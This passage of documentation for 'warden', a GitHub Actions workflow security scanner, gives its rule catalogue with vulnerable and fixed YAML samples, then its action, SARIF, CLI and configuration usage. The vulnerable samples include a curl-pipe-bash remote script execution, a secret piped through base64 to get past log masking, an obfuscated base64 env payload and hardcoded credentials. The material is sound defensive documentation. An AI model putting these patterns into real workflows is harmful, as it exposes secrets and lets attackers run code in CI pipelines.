uses: some-org/shared/.github/workflows/build.yml@main
secrets:
npm-token: ${{ secrets.NPM_TOKEN }}
WRD-712: Insecure Commands
Severity: High
What it detects: ACTIONS_ALLOW_UNSECURE_COMMANDS set to true, which re-enables the deprecated set-env and add-path workflow commands. These legacy commands are vulnerable to injection attacks via untrusted input.
Vulnerable:
env:
ACTIONS_ALLOW_UNSECURE_COMMANDS: true
Remediation: Remove ACTIONS_ALLOW_UNSECURE_COMMANDS and use GITHUB_ENV / GITHUB_PATH files instead of the legacy commands.
WRD-713: Hardcoded Credentials
Severity: High
What it detects: Hardcoded username or password values in container/services credentials blocks instead of secret references. This exposes credentials in the workflow file.
Vulnerable:
jobs:
test:
services:
db:
image: postgres
credentials:
username: admin
password: supersecret123
Remediation: Use secret references for credentials.
credentials:
username: ${{ secrets.REGISTRY_USERNAME }}
password: ${{ secrets.REGISTRY_PASSWORD }}
WRD-714: Curl Pipe Bash
Severity: High
What it detects: curl | bash, wget | sh, and similar patterns that download and immediately execute remote scripts in run: blocks. A compromised server or MITM attack could inject malicious code.
Vulnerable:
- run: curl https://get.example.com/install.sh | bash
Remediation: Download the script first, verify its checksum or signature, then execute.
- run: |
curl -Lo install.sh https://get.example.com/install.sh
echo "expectedsha256sum install.sh" | sha256sum -c
bash install.sh
WRD-720: Unpinned Docker Images
Severity: Medium
What it detects: Container or services image: references that are not pinned to a specific @sha256: digest. Docker image tags are mutable and can be replaced with compromised versions.
Vulnerable:
jobs:
test:
container:
image: node:18
services:
redis:
image: redis:7
Remediation: Pin images to a sha256 digest.
container:
image: node:18@sha256:a1b2c3d4e5f6...
Logic Rules (800s)
Logic rules catch workflow design flaws, insecure conditionals, permission misuse, and configuration mistakes that do not fall into the other categories.
WRD-801: Self-Hosted Runner on PR
Severity: Critical
What it detects: pull_request or pull_request_target triggers combined with runs-on: self-hosted. Pull requests from forks can execute arbitrary code on self-hosted runners. Unlike GitHub-hosted runners, self-hosted runners are not ephemeral and may retain credentials, access internal networks, or persist malware between runs.
Vulnerable:
on: pull_request
jobs:
build:
runs-on: self-hosted
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- run: make build
Remediation: Use GitHub-hosted runners for PR workflows, or restrict self-hosted runner access using runner groups with repository policies.
jobs:
build:
runs-on: ubuntu-latest
WRD-810: Confused Deputy
Severity: High
What it detects: Auto-merge or auto-approve patterns (gh pr merge --auto, gh pr review --approve) without proper authorization checks (actor verification, team membership, or permission validation). An attacker who can trigger the workflow could get unauthorized changes merged.
Vulnerable:
- run: gh pr merge --auto --squash "$PR_URL"
Remediation: Add authorization checks (actor verification, team membership, or permission validation) before auto-merging or auto-approving.
WRD-811: Artifact Injection
Severity: High
What it detects: workflow_run triggers that download artifacts using actions/download-artifact without checking conclusion == 'success' on the triggering workflow. Artifacts from failed or malicious runs may be processed.
Vulnerable:
on:
workflow_run:
workflows: ["CI"]
types: [completed]
jobs:
deploy:
steps:
- uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
run-id: ${{ github.event.workflow_run.id }}
- run: ./deploy.sh
Remediation: Add a condition to check the triggering workflow’s conclusion before downloading and using artifacts.
jobs:
deploy:
if: github.event.workflow_run.conclusion == 'success'
WRD-812: Risky Trigger Default Permissions
Severity: High
What it detects: A workflow uses one of the risky triggers (pull_request_target, workflow_run, issue_comment, discussion_comment) but has no top-level permissions: block. With no explicit permissions, the workflow inherits the repository default GITHUB_TOKEN scopes, which on many older repos is write-all. Combined with an attacker-controlled trigger, that gives a forked PR or third-party comment effectively write access to the repo.
The rule checks the parsed YAML for an on: key matching any of the risky triggers (string, list, or mapping forms) and a top-level permissions: key. If a risky trigger is present and permissions: is missing, it emits a finding at line 1 of the workflow.
Vulnerable:
on: pull_request_target # WRD-812: no top-level permissions block
jobs:
triage:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- run: ./scripts/triage.sh
Remediation: Add an explicit minimal permissions: block at the top of the workflow. permissions: read-all is the safest baseline for risky triggers; grant individual write scopes only on the specific jobs that need them.
on: pull_request_target
permissions: read-all # explicit baseline; jobs can opt into writes individually
jobs:
triage:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- run: ./scripts/triage.sh
WRD-820: Unsound Condition
Severity: Medium
What it detects: Conditions that are always true: if: true, if: always(), or self-comparisons. These make the condition a no-op guard.
Vulnerable:
- if: always()
run: ./security-scan.sh
Remediation: Replace with a meaningful condition, or remove the if: block if the step should always run.
WRD-821: Bypassable Contains Check
Severity: Medium
What it detects: contains() checks on user-controlled input (github.event.issue.title, github.event.pull_request.body, github.head_ref, github.actor, etc.) used as authorization gates. An attacker can include the expected substring in their input to bypass the check.
Vulnerable:
- if: contains(github.event.comment.body, '/deploy')
run: ./deploy.sh
Remediation: Use proper authorization mechanisms instead of string matching on user-controlled input. Consider team membership, CODEOWNERS, or GitHub’s built-in permissions.
WRD-822: Secret Redaction Bypass
Severity: Medium
What it detects: Patterns that bypass GitHub Actions secret redaction in logs: base64-encoding secrets, manipulating secrets with text tools (sed, tr, cut, fold, rev), or writing secrets to files then reading them back. The transformed output is not masked by GitHub Actions.
Vulnerable:
- run: echo "${{ secrets.API_KEY }}" | base64
Remediation: Avoid encoding or transforming secrets in ways that bypass redaction. Pass secrets directly to the tools that need them. Never echo or log transformed secret values.
WRD-823: Cache Poisoning
Severity: Medium
What it detects: actions/cache usage in release or elevated-permission workflows (those with write-all, contents: write, packages: write, or id-token: write). An attacker who poisons the cache via a PR build can inject malicious artifacts into the release pipeline.
Vulnerable:
on:
release:
types: [published]
permissions:
contents: write
jobs:
release:
steps:
- uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4
with:
key: deps-${{ hashFiles('**/package-lock.json') }}
- run: npm ci && npm run build
Remediation: Use separate cache keys for PR and release workflows. Avoid restoring caches from untrusted branches in release builds. Consider using immutable artifacts instead of mutable caches.
WRD-824: Excessive Permissions
Severity: Medium
What it detects: permissions: write-all grants, missing top-level permissions: blocks (which inherit potentially broad defaults), and unnecessary write permission entries at the job level.
Vulnerable:
permissions: write-all
jobs:
build:
runs-on: ubuntu-latest
steps:
- run: make build
Remediation: Add an explicit permissions: block. Grant only the specific scopes needed. Use permissions: {} for read-only or no-token workflows.
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- run: make build
WRD-825: Spoofable Bot Check
Severity: Medium
What it detects: if: conditions checking github.actor against bot names like dependabot[bot], renovate[bot], or github-actions[bot]. GitHub usernames can be changed to match bot names, so an attacker could rename their account to trigger the condition.
Vulnerable:
jobs:
auto-merge:
if: github.actor == 'dependabot[bot]'
steps:
- run: gh pr merge --auto
Remediation: Use github.event.sender.type == 'Bot' or verify the app installation ID instead of checking the actor name.
WRD-826: Undocumented Permissions
Severity: Medium
What it detects: Permission entries (e.g., contents: write, packages: write) that lack an explanatory comment. Documenting permissions makes security reviews easier and helps future maintainers understand the intent behind each grant.
Vulnerable:
permissions:
contents: write
packages: write
id-token: write
Remediation: Add a comment on the same line or the line above explaining why each permission is needed.
permissions:
contents: write # Required to push release tags
packages: write # Required to push Docker images
id-token: write # Required for OIDC authentication to AWS
WRD-827: Superfluous Actions
Severity: Medium
What it detects: Setup actions (e.g., actions/setup-node, actions/setup-python, actions/setup-go) used without specifying a version input. These tools are pre-installed on GitHub-hosted runners, so the setup action adds overhead without benefit if the default version is sufficient.
Vulnerable:
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
- run: node --version
Remediation: If you need a specific version, add a version input (e.g., node-version: '20'). Otherwise, consider removing the setup action and using the pre-installed version.
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
with:
node-version: '20'
WRD-828: Obfuscation in Workflow
Severity: Medium
What it detects: Base64 decode operations (base64 -d, atob, Buffer.from(..., 'base64')) appearing in non-run: contexts (env blocks, with: inputs). This is unusual and may indicate an attempt to obfuscate malicious content.
Vulnerable:
env:
PAYLOAD: $(echo "bWFsaWNpb3Vz" | base64 -d)
Remediation: If base64 encoding is necessary for legitimate data (certificates, binary config), move the decode into a run: block with clear documentation explaining its purpose.
WRD-833: Anonymous Workflow Definition
Severity: Low
What it detects: Two patterns:
- Actions pinned to branch names like
@mainor@masterinstead of a commit SHA or version tag. Branch tips change with every commit, making builds non-reproducible. - Workflow files missing a top-level
name:key. Without a name, the workflow appears as the filename in the GitHub Actions UI.
Vulnerable:
# Missing name:
on: push
jobs:
build:
steps:
- uses: some-org/action@main
Remediation: Pin actions to full commit SHAs. Add a descriptive name: key at the top of workflow files.
name: CI Build
on: push
jobs:
build:
steps:
- uses: some-org/action@a1b2c3d4e5f6... # v1.2.0
WRD-831: Missing Concurrency Limits
Severity: Low
What it detects: Workflows triggered by push or pull_request that do not define a concurrency: block. Without concurrency limits, rapid pushes can queue many redundant runs, wasting runner resources.
Vulnerable:
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- run: make build
Remediation: Add a concurrency block to cancel in-progress runs on the same branch.
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- run: make build
GitHub Action
The warden GitHub Action runs workflow security scanning as part of your CI pipeline. It scans all workflows in the repository and optionally fails the build based on finding severity.
Basic Usage
name: Security Scan
on:
push:
branches: [main]
pull_request:
jobs:
warden:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
path: .github/workflows
Inputs
| Input | Required | Default | Description |
|---|---|---|---|
path | No | . | Path to scan. May be a directory or a single workflow file |
fail-on | No | high | Minimum severity that causes a non-zero exit: critical, high, medium, low, none |
format | No | console | Output format: console, json, sarif, markdown |
Outputs
| Output | Description |
|---|---|
results-json | JSON findings payload for downstream steps. Populate by running warden with format: json and capturing stdout into $GITHUB_OUTPUT (see example below) |
Failing on Severity
Set fail-on to control which severity level causes the action to exit non-zero:
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
fail-on: critical # only fail on critical findings
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
fail-on: medium # fail on medium, high, and critical
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
fail-on: none # never fail (reporting only)
SARIF Upload
To upload results to GitHub Code Scanning, run warden a second time with
format: sarif and capture its stdout into a file the upload-sarif action
can read:
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
fail-on: none # let Code Scanning handle enforcement
- name: Re-run warden as SARIF
run: |
warden scan . --format sarif > warden.sarif
- uses: github/codeql-action/upload-sarif@c10b8064de6f491fea524254123dbe5e09572f13 # v4.35.1
if: always()
with:
sarif_file: warden.sarif
See the SARIF guide for full details.
Using with Pull Request Annotations
When running on a pull request, warden annotations appear inline on the diff:
name: Workflow Security
on:
pull_request:
paths:
- '.github/workflows/**'
jobs:
scan:
runs-on: ubuntu-latest
permissions:
contents: read
checks: write # required for annotations
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
fail-on: high
Configuration File
Place a .warden.toml in the repository root (or any parent of the scan
target) to suppress rules or override severities. The config has just two
fields:
# Suppress specific rules
disabled_rules = ["WRD-710", "WRD-826"]
# Override severities
[severity_overrides]
"WRD-322" = "low"
disabled_rules removes those rule IDs from the scan. severity_overrides
reclassifies a rule’s findings before the fail-on threshold is applied.
Severity values must be one of critical, high, medium, or low.
Pinning the Action
Always pin the warden action to a specific commit SHA:
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
Do not use @main or @v1 (mutable tags). See WRD-320.
Example: Full Security Gate Workflow
The action’s only output is results-json, which holds the JSON findings
payload for downstream steps. The example below runs warden once for the
gate (console output, fail on high) and then re-runs warden in json and
sarif formats so we can both upload SARIF to Code Scanning and parse
findings via actions/github-script.
name: Workflow Security Gate
on:
push:
branches: [main, develop]
pull_request:
schedule:
- cron: "0 8 * * 1" # weekly Monday scan
jobs:
scan:
name: Scan workflows
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write # for SARIF upload
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Run warden (gate)
uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
path: .
fail-on: high
- name: Re-run warden as SARIF
if: always()
run: warden scan . --format sarif > results.sarif
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@c10b8064de6f491fea524254123dbe5e09572f13 # v4.35.1
with:
sarif_file: results.sarif
- name: Re-run warden as JSON for downstream consumption
if: always()
id: warden_json
run: |
warden scan . --format json --fail-on none > findings.json
{
echo 'findings<<__WARDEN_EOF__'
cat findings.json
echo
echo '__WARDEN_EOF__'
} >> "$GITHUB_OUTPUT"
- name: Summarize findings
if: always()
uses: actions/github-script@v7
env:
FINDINGS_JSON: ${{ steps.warden_json.outputs.findings }}
with:
script: |
const data = JSON.parse(process.env.FINDINGS_JSON || '{}');
const findings = data.findings || [];
core.summary
.addHeading('Warden findings')
.addRaw(`Total: ${findings.length}`)
.write();
SARIF Output
Warden supports outputting findings in SARIF (Static Analysis Results Interchange Format) 2.1.0. SARIF integrates with GitHub Code Scanning to show security alerts in the Security tab and inline on pull request diffs.
Generating SARIF
CLI
warden scan /path/to/repo --format sarif -o results.sarif
Or write to stdout and redirect:
warden scan /path/to/repo --format sarif > results.sarif
Docker
docker run --rm -v "$PWD:/repo" ghcr.io/projectwarden/warden:latest \
scan /repo --format sarif -o /repo/results.sarif
GitHub Action
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
format: sarif
output-file: results.sarif
Uploading to GitHub Code Scanning
Use the github/codeql-action/upload-sarif action to upload results. The security-events: write permission is required.
jobs:
scan:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Run warden
run: warden scan . --format sarif -o results.sarif
- name: Upload SARIF to Code Scanning
uses: github/codeql-action/upload-sarif@c10b8064de6f491fea524254123dbe5e09572f13 # v4.35.1
if: always()
with:
sarif_file: results.sarif
category: warden
The if: always() condition ensures results are uploaded even if warden exits non-zero (due to findings). Without it, findings would prevent the upload.
Viewing Results
After upload, results appear in three places:
-
Security tab:
github.com/<org>/<repo>/security/code-scanningshows all open alerts with rule details and remediation guidance. -
Pull request checks: Alerts introduced by a PR are shown as inline annotations on the diff, with the rule name and description.
-
API: Query programmatically via
GET /repos/{owner}/{repo}/code-scanning/alerts.
Dismissing Alerts
Alerts can be dismissed in the GitHub UI with a reason (false positive, won’t fix, used in tests). Dismissals are tracked in the audit log. Dismissed alerts are not re-opened unless the same finding reappears in a new commit.
SARIF Schema Details
Warden’s SARIF output includes:
runs[].tool.driver.name:wardenruns[].tool.driver.version: current warden versionruns[].tool.driver.rules: all 53 rule definitions withid,name,shortDescription,fullDescription,helpUri, andproperties.tagsruns[].results[].ruleId: e.g.WRD-101runs[].results[].level:error(critical/high),warning(medium),note(low)runs[].results[].locations: file path and line numberruns[].results[].message: human-readable description with context
Filtering by Severity in SARIF
SARIF level mapping:
| Warden severity | SARIF level |
|---|---|
| Critical | error |
| High | error |
| Medium | warning |
| Low | note |
GitHub Code Scanning’s default alert filter shows error and warning. Low (note) findings are visible but not shown by default.
Multi-repo Scanning
To scan multiple repositories and aggregate results:
#!/bin/bash
for repo in org/repo1 org/repo2 org/repo3; do
gh repo clone "$repo" "/tmp/$repo"
warden scan "/tmp/$repo" --format sarif -o "/tmp/${repo//\//-}.sarif"
done
Upload each SARIF file to the corresponding repository using the GitHub API:
gh api repos/org/repo1/code-scanning/sarifs \
-f sarif="$(base64 -w0 /tmp/org-repo1.sarif)" \
-f ref="refs/heads/main" \
-f commitSha="$(git -C /tmp/org/repo1 rev-parse HEAD)"
Offline SARIF Viewers
To view SARIF results without uploading to GitHub:
- SARIF Viewer VS Code extension
- SARIF Web Viewer
jqfor quick inspection:
jq '.runs[0].results[] | {rule: .ruleId, file: .locations[0].physicalLocation.artifactLocation.uri, line: .locations[0].physicalLocation.region.startLine, message: .message.text}' results.sarif
CLI Reference
Warden is invoked as warden. Every subcommand supports --help, and the
top-level binary supports --help and --version.
warden <COMMAND> [OPTIONS]
Run warden with no arguments inside a TTY to launch the interactive guided
menu. In CI or when stdin is piped, the binary instead prints top-level help.
Top-Level Flags
| Flag | Description |
|---|---|
--version | Print version and exit |
--help, -h | Print help |
There are no global --no-color, --quiet, --verbose, or --config flags.
Subcommand-specific flags are documented below.
warden scan
Scan workflows for security vulnerabilities.
warden scan <TARGET> [OPTIONS]
<TARGET> may be:
- A local path (
.,./my-project, a single.ymlfile). When given a directory, warden looks for.github/workflows/*.ymland*.yaml. - A GitHub
owner/reposlug (e.g.cli/cli,aquasecurity/trivy). Workflows are fetched via the GitHub API.
Options
| Flag | Default | Description |
|---|---|---|
--format <FORMAT> | console | Output format: console, json, sarif, markdown (alias: pr-comment) |
--fail-on <SEVERITY> | high | Minimum severity that causes a non-zero exit: critical, high, medium, low, none |
--github-token <TOKEN> | none | GitHub token for API calls. Also reads GITHUB_TOKEN env var |
--progress | off | Emit NDJSON progress events on stderr (one per workflow) |
--all | off | Print every finding instead of capping the console view at 20 |
Exit Codes
| Code | Meaning |
|---|---|
0 | No findings at or above --fail-on threshold |
1 | One or more findings at or above the threshold |
2 | Input or runtime error (file not found, invalid YAML, network error, …) |
Examples
# Scan the current project
warden scan .
# Scan a public repo
warden scan cli/cli
# Write SARIF for GitHub Code Scanning
warden scan . --format sarif > results.sarif
# Fail CI only on critical findings
warden scan . --fail-on critical
# Print every finding (no top-20 cap)
warden scan pytorch/pytorch --all
# Stream NDJSON scan progress on stderr
warden scan . --progress
warden score
Compute a 0-100 security score for the workflows in <TARGET>.
warden score <TARGET> [OPTIONS]
<TARGET> accepts the same forms as warden scan (local path or
owner/repo).
Options
| Flag | Default | Description |
|---|---|---|
--format <FORMAT> | console | Output format: console, json, sarif, markdown |
--fail-on <SEVERITY> | high | Minimum severity that causes a non-zero exit |
--github-token <TOKEN> | none | GitHub token for API calls. Also reads GITHUB_TOKEN env var |
Examples
# Score the current project
warden score .
# JSON output for dashboards
warden score aquasecurity/trivy --format json
# Score a public repo
warden score cli/cli
warden fix
Compute and apply automatic fixes for common workflow security issues (unpinned actions, expression injection, missing permissions, …).
warden fix <PATH> [OPTIONS]
<PATH> may be a local workflow file, a directory, or a GitHub owner/repo
slug.
Options
| Flag | Default | Description |
|---|---|---|
--apply | off | Apply the fixes by writing files (without --apply, runs in plan mode and prints changes only) |
--format <FORMAT> | console | console prints colored output and writes files to disk (unless --apply); json emits structured output and never touches disk |
--github-token <TOKEN> | none | GitHub token for API calls. Also reads GITHUB_TOKEN env var |
--pr <OWNER/REPO> | none | Open a pull request with the computed fixes against OWNER/REPO. Requires a token with contents:write and pull-requests:write |
--branch <NAME> | warden/auto-fix-<unix-ts> | Branch name to create for the PR |
--prepare-only | off | Push the branch but do not call the GitHub API to create the PR; instead, print a compare URL |
Examples
# Show fixable issues without writing
warden fix . # plan only (default)
warden fix . --apply # actually write changes
# Apply fixes in place
warden fix .github/workflows/ci.yml
# Compute fixes for a remote repo and emit JSON (no disk writes)
warden fix cli/cli --format json
# Open a pull request with the computed fixes
GITHUB_TOKEN=ghp_... warden fix . --pr myorg/myrepo
# Push the branch but do not open the PR; print a compare URL instead
warden fix . --pr myorg/myrepo --prepare-only
warden upstream
Resolve a project’s direct (and optionally depth-2) dependencies back to their source repositories on GitHub, then run warden’s full rule set against each one’s workflows.
warden upstream [PATH] [OPTIONS]
PATH defaults to .. Manifest discovery is non-recursive (project root
only) and currently understands package.json, requirements.txt,
Pipfile.lock, go.mod, and Cargo.toml.
Options
| Flag | Default | Description |
|---|---|---|
--concurrency <N> | 8 | Number of dep repos to scan in parallel |
--format <FORMAT> | console | Output format: console, json, sarif, markdown |
--fail-on <SEVERITY> | high | Minimum severity that causes a non-zero exit |
--depth <N> | 1 | Dependency walk depth (1 = direct deps only, 2 = also deps-of-deps) |
--github-token <TOKEN> | none | GitHub token for API calls. Also reads GITHUB_TOKEN env var |
Examples
# Audit the current project's direct dependencies
warden upstream .
# Scan upstream + deps-of-deps
warden upstream . --depth 2
# Crank concurrency for a fast scan with a token
GITHUB_TOKEN=ghp_... warden upstream . --concurrency 16
# JSON output for the dashboard
warden upstream . --format json
warden rules
List all detection rules grouped by severity.
warden rules
This subcommand takes no flags. It prints every registered rule’s ID,
SEVERITY, and NAME, sorted by ID.
Example
warden rules
Configuration File (.warden.toml)
Warden walks from the scan target up to the filesystem root looking for a
.warden.toml. If found, it loads two fields:
# Suppress specific rules
disabled_rules = ["WRD-710", "WRD-826"]
# Override severities
[severity_overrides]
"WRD-322" = "low"
disabled_rules removes those rule IDs from the scan entirely.
severity_overrides lets you reclassify a rule’s findings before the
--fail-on threshold is applied. Severity values must be one of critical,
high, medium, or low.
There are no [scan], [ignore], [ignore.file], [severity], or [score]
tables; warden v1.0 does not support per-file suppression, category filters,
or score thresholds in the config file.
Environment Variables
| Variable | Description |
|---|---|
GITHUB_TOKEN | GitHub token for API calls (equivalent to --github-token on every subcommand) |
Warden v1.0 does not read any other env vars.
Configuration (.warden.toml)
Warden reads an optional .warden.toml file from the scan target directory
(or any parent, walking up toward the filesystem root). The file has just
two fields: disabled_rules and severity_overrides.
Example
# Rule IDs to disable entirely. These rules will not run and their
# findings will not appear in any output.
disabled_rules = ["WRD-710", "WRD-201"]
# Override the severity reported for a given rule. Valid values:
# "critical", "high", "medium", "low".
[severity_overrides]
"WRD-322" = "low"
"WRD-101" = "critical"
Fields
| Field | Type | Description |
|---|---|---|
disabled_rules | string[] | Rule IDs to skip. Matched exactly against WRD-NNN. |
severity_overrides | { string: string } | Map rule ID to a replacement severity. |
Lookup behavior
Warden starts at the scan target path and walks upward looking for a
.warden.toml. The first one it finds wins; parent configs are not merged.
Remote scans (warden scan owner/repo) do not read any local config.
Interaction with --fail-on
Severity overrides are applied before the --fail-on threshold is
evaluated, so downgrading a rule to low will prevent it from failing CI
when --fail-on high is in effect.
Supply chain auditing
warden upstream extends warden beyond your own workflow files. It walks
your project’s dependency manifests, resolves each direct dependency back to
its source repository on GitHub, and runs the full 53-rule detector against
the workflow files in each of those upstream repos. If one of your
dependencies has a vulnerable CI/CD setup (expression injection, unpinned
third-party actions, cache poisoning, secret exfiltration, etc.) you’ll
see it in the audit output.
Supported manifests
| Ecosystem | File | Notes |
|---|---|---|
| npm | package.json | dependencies + devDependencies |
| PyPI | Pipfile.lock | Preferred over requirements.txt |
| PyPI | requirements.txt | Fallback when no lockfile |
| Go | go.mod | Skips // indirect unless --depth 2 |
| crates.io | Cargo.toml | [dependencies] + [dev-dependencies] |
Usage
warden upstream <path> \
[--concurrency N] \
[--format console|json|sarif|markdown] \
[--fail-on critical|high|medium|low|none] \
[--depth 1|2] \
[--github-token TOKEN]
Examples
# Audit direct deps in the current directory
warden upstream .
# Shallow transitive walk (deps-of-deps, deduplicated, capped at 500)
warden upstream . --depth 2
# JSON output for pipelines
warden upstream . --format json > audit.json
# CI: exit non-zero if any dep has a high-severity finding
warden upstream . --fail-on high
Performance and rate limits
Workers run in a std::thread::scope pool (no tokio) and share the existing
reqwest::blocking client. The default concurrency is 8. Each worker sleeps
~100ms between requests to avoid hammering registries.
The GitHub API is the bottleneck: unauthenticated callers get 60 requests per
hour, authenticated ones 5000. Always set GITHUB_TOKEN (or --github-token)
for anything beyond a handful of deps; warden will warn you if you have more
than 30 deps and no token.
Limitations
- Only GitHub-hosted source repos are scanned. Packages whose
repositorymetadata points at GitLab, Bitbucket, or a custom Gitea instance are skipped with a stderr warning. --depth 2is the hard ceiling to prevent combinatorial explosion. Total deps across both levels are capped at 500.- Path-only and git-only Cargo deps (no
versionfield) are skipped because they can’t be resolved through crates.io.